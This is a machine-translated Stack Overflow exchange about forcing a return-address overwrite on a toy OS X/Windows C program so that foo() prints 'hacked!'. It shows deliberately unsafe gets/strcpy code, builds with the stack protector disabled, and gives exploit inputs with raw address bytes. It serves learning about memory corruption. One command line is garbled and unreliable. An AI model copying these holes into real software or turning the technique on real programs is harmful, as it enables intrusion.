5 c security macos buffer-overflow
我只是想在下面的程序中尝试在OSX(10.6)上运行缓冲区溢出; 我需要通过溢出缓冲区来使foo执行.
#include <string.h>
#include <stdio.h>
void foo() {
printf("hacked!");
}
int main(int argc, const char *argv[]) {
char s[100];
strcpy(s, argv[1]);
}
Run Code Online (Sandbox Code Playgroud)
我编译为: -
$ gcc -o test test.c -arch i386
Run Code Online (Sandbox Code Playgroud)
在拆卸时test我得到了fooas 的地址0x00001eda.漏洞利用不按预期工作; 可能是因为返回地址应该溢出with 0x00001edawith contains a \x00.
在目标地址有a的情况下\x00,如何执行缓冲区溢出漏洞利用?
该strcpy()函数在遇到零字节 ( \x00) 时停止。由于要写入堆栈的地址可能包含这样的字节,因此执行类似于以下示例之一的操作也许是可以接受的。
免责声明
由于我无法访问 OS X 10.6 环境,因此使用 GCC 4.5.2(MinGW 32 位)在 Windows 7 64 位上开发和测试了以下代码。我依靠 gdb 来帮助确定
foo()堆栈帧中的地址和返回地址的位置。此处提供了如何使用 gdb 确定从缓冲区到返回地址的偏移量的进一步说明。
代码
int main()
{
char s[4];
gets(s);
}
Run Code Online (Sandbox Code Playgroud)
减小了缓冲区的大小,以便使用较短的输入文本来溢出缓冲区。
输出
gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef\xc6\x13\x30 | gcc -g -fno-stack-protector -o test test.c printf 1234567890abcdef\xc6\x13\x30 ./测试
被黑了!
代码
int main(int argc, const char *argv[])
{
char s[100];
sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}
Run Code Online (Sandbox Code Playgroud)
使用 atoi() 直接定位返回地址并不是真正的“缓冲区溢出”的好例子。然而,对于在堆栈帧内定位和修改返回地址来说,这是一个很好的练习。
输出
gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
被黑了!
| 归档时间: |
|
| 查看次数: |
3232 次 |
| 最近记录: |